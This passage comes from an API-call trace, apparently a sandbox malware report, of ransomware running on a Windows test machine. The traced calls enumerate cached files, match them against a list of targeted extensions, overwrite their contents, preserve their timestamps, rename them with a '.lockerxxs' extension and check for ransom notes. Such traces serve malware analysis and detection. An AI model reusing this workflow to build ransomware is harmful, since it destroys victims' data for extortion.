HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" [0083.050] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg." [0083.050] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg.lockerxxs" [0083.050] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.050] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2131 [0083.051] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53063a30, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53063a30, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53089b90, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.051] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.051] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x210b, lpOverlapped=0x0) returned 1 [0083.053] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg") returned="BBBZzuz[1].jpg" [0083.053] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.053] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x210b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x210b, lpOverlapped=0x0) returned 1 [0083.054] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.054] CloseHandle (hObject=0xa4) returned 1 [0083.054] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbzzuz[1].jpg.lockerxxs")) returned 1 [0083.055] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5530da90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5530da90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5530da90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x370a, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC03B1[1].jpg", cAlternateFileName="BBC03B~1.JPG")) returned 1 [0083.055] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.055] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC03B1[1].jpg") returned 1 [0083.055] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC03B1[1].jpg") returned 1 [0083.055] lstrcmpiA (lpString1="", lpString2="BBC03B1[1].jpg") returned -1 [0083.055] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBZzuz[1].jpg") returned="BBBZzuz[1].jpg" [0083.055] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.055] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.055] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.055] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.055] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBC03B1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" [0083.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.ems") returned 0 [0083.055] lstrlenA (lpString="*.ems") returned 5 [0083.055] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.db") returned 0 [0083.056] lstrlenA (lpString="*.db") returned 4 [0083.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.dbf") returned 0 [0083.056] lstrlenA (lpString="*.dbf") returned 5 [0083.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.myox") returned 0 [0083.056] lstrlenA (lpString="*.myox") returned 6 [0083.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.myo") returned 0 [0083.056] lstrlenA (lpString="*.myo") returned 5 [0083.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.qbw") returned 0 [0083.056] lstrlenA (lpString="*.qbw") returned 5 [0083.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.qbb") returned 0 [0083.056] lstrlenA (lpString="*.qbb") returned 5 [0083.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.qbm") returned 0 [0083.056] lstrlenA (lpString="*.qbm") returned 5 [0083.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.qbo") returned 0 [0083.056] lstrlenA (lpString="*.qbo") returned 5 [0083.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.qbx") returned 0 [0083.056] lstrlenA (lpString="*.qbx") returned 5 [0083.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.qba") returned 0 [0083.056] lstrlenA (lpString="*.qba") returned 5 [0083.056] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.qby") returned 0 [0083.057] lstrlenA (lpString="*.qby") returned 5 [0083.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.qbj") returned 0 [0083.057] lstrlenA (lpString="*.qbj") returned 5 [0083.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.ofx") returned 0 [0083.057] lstrlenA (lpString="*.ofx") returned 5 [0083.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.qif") returned 0 [0083.057] lstrlenA (lpString="*.qif") returned 5 [0083.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.mye") returned 0 [0083.057] lstrlenA (lpString="*.mye") returned 5 [0083.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.mbox") returned 0 [0083.057] lstrlenA (lpString="*.mbox") returned 6 [0083.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.eml") returned 0 [0083.057] lstrlenA (lpString="*.eml") returned 5 [0083.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.pst") returned 0 [0083.057] lstrlenA (lpString="*.pst") returned 5 [0083.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.ost") returned 0 [0083.057] lstrlenA (lpString="*.ost") returned 5 [0083.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.idx") returned 0 [0083.057] lstrlenA (lpString="*.idx") returned 5 [0083.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.dbx") returned 0 [0083.057] lstrlenA (lpString="*.dbx") returned 5 [0083.057] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.sql") returned 0 [0083.057] lstrlenA (lpString="*.sql") returned 5 [0083.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.mdb") returned 0 [0083.058] lstrlenA (lpString="*.mdb") returned 5 [0083.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.fdb") returned 0 [0083.058] lstrlenA (lpString="*.fdb") returned 5 [0083.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.wab") returned 0 [0083.058] lstrlenA (lpString="*.wab") returned 5 [0083.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.dat") returned 0 [0083.058] lstrlenA (lpString="*.dat") returned 5 [0083.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.txt") returned 0 [0083.058] lstrlenA (lpString="*.txt") returned 5 [0083.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.jpeg") returned 0 [0083.058] lstrlenA (lpString="*.jpeg") returned 6 [0083.058] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", pszSpec="*.jpg") returned 1 [0083.058] lstrlenA (lpString="*.jpg") returned 5 [0083.058] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" [0083.058] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" [0083.058] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg." [0083.058] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg.lockerxxs" [0083.058] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.059] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x370a [0083.059] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x5530da90, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x5530da90, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5530da90, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.059] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.059] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x36e4, lpOverlapped=0x0) returned 1 [0083.061] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg") returned="BBC03B1[1].jpg" [0083.061] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.061] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x36e4, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x36e4, lpOverlapped=0x0) returned 1 [0083.062] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.062] CloseHandle (hObject=0xa4) returned 1 [0083.062] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbc03b1[1].jpg.lockerxxs")) returned 1 [0083.063] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51256470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51256470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51256470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBC04o2[1].jpg", cAlternateFileName="BBC04O~1.JPG")) returned 1 [0083.063] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.063] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBC04o2[1].jpg") returned 1 [0083.063] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBC04o2[1].jpg") returned 1 [0083.063] lstrcmpiA (lpString1="", lpString2="BBC04o2[1].jpg") returned -1 [0083.063] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC03B1[1].jpg") returned="BBC03B1[1].jpg" [0083.063] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.063] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.063] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.063] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.063] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBC04o2[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg" [0083.063] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.ems") returned 0 [0083.063] lstrlenA (lpString="*.ems") returned 5 [0083.064] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBC04o2[1].jpg", pszSpec="*.db") returned 0 [0083.064] lstrlenA 